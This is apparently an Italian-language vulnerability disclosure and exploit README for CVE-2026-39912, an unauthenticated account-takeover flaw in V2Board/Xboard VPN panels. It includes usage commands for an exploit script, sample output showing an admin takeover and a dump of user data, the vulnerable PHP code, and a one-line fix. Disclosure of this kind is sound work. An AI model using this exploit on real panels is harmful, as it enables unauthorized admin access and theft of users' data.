
Xboard / V2Board - Acquisizione non autenticata di account - Perdita del token Magic Link (CVE-2026-39912)
Fuga del token del link magico in loginWithMailLink
| CVE | CVE-2026-39912 |
| CVSS | 9.1 (Critical) |
| CWE | CWE-201 (Insertion of Sensitive Information Into Sent Data) |
| Interessati | V2Board >= 1.6.1 through 1.7.4 / Xboard all versions through 0.1.9+ |
| Corretto | Non ancora (V2Board abbandonato da giugno 2023) |
| Divulgato | 2026-04-09 |
| Crediti | Valentin Lobstein (Chocapikk) |
| Writeup | chocapikk.com |
| PR di fix | V2Board #981 / Xboard #873 |
L'endpoint loginWithMailLink restituisce il link di login magico direttamente nel corpo della risposta HTTP invece di inviarlo solo via email. Un attaccante non autenticato che conosce un'email registrata può compromettere qualsiasi account - incluso quello admin - con due richieste HTTP.
Entrambi sono pannelli VPN/proxy ampiamente diffusi, principalmente in Cina. ZoomEye mostra oltre 7.000 istanze esposte su internet.
login_with_mail_link_enable deve essere abilitato nelle impostazioni di amministrazione (non abilitato di default)# Install dependencies
pip install requests
# Account takeover + data dump
python3 exploit.py http://target:7001 [email protected]
# Save dump to file
python3 exploit.py http://target:7001 [email protected] -o dump.json
$ python3 exploit.py http://target:7001 [email protected]
Xboard / V2Board - Unauth Account Takeover
Magic Link Token Leak (CVE-2026-39912) | by Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
45 min from git clone to is_admin: true
[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK
{
"auth": {
"auth_data": "Bearer qCU2d9hS...",
"is_admin": true
},
"dump": {
"User Info": {
"email": "[email protected]",
"uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
...
},
"Subscription": {
"subscribe_url": "http://target:7001/s/324396af...",
...
},
"Active Sessions": [ ... ]
}
}
V2Board (app/Http/Controllers/Passport/AuthController.php):
SendEmailJob::dispatch([...]);
return response([
'data' => $link // Token leaked to caller
]);
Xboard (app/Services/Auth/MailLinkService.php):
$this->sendMailLinkEmail($user, $link);
return [true, $link]; // Same bug, inherited from fork
- return [true, $link];
+ return [true, true];